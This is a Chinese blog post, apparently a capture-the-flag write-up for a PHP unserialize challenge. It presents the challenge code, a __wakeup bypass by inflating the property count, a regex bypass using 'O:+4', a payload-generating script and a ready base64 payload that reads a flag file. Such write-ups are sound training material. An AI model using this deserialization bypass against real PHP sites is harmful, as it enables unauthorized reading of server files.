Web_php_unserialize

文章介绍了PHP中类的特殊方法__construct、__destruct、__wakeup在对象创建、销毁和序列化过程中的作用。讨论了一个利用序列化漏洞绕过__wakeup函数和正则匹配的技巧,展示了如何通过修改序列化字符串来访问受保护的文件。
摘要由CSDN通过智能技术生成

前提知识了解

  1. __construct函数:具有该函数的类会在每次创建对象时先调用此方法,作初始化工作

  2. __destruct函数:会在某个对象的所有引用都被删除或者对象被显示销毁时执行

  3. __sleep函数会在序列化之前被调用

  4. __wakeup函数:unserialize函数会检查是否存在wakeup函数,如果存在,则会先调用__wakeup函数,预先准备对象所需的资源

  5. __wakeup()执行漏洞,一个字符串或对象被序列化后,如果其属性被修改,则不执行__wakeup函数,这是一个绕过点

开始解题

拿到题目看到一段代码

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
  • 绕过__wakeup:发现__ destruct函数的功能是显示我们传入的文件内容,但__wakeup函数会将file参数指向index.php,所以我们要绕过这个函数(使这个函数不执行),正常序列化结果“O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}”,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。为了绕过__wakeup(),我们将1改为任意大于1的都行,如“O:4:“Demo”:2:{s:10:“Demofile”;s:8:“fl4g.php”;}”
  • 绕过正则匹配:preg_match('/[oc]:\d+:/i', $var)表示匹配o或c加冒号加任意数字的形式,为了绕过,我们可以将“O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}”中的4改为+4:“O:+4:“Demo”:3:{s:10:“Demofile”;s:8:“fl4g.php”;}”,然后对其进行base64编码
    <?php 
    class Demo { 
        private $file = 'fl4g.php';
    }
    $x= serialize(new Demo);
    $x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
    $x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
    echo base64_encode($x);
    ?>

    得payload为:?var=TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

     

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值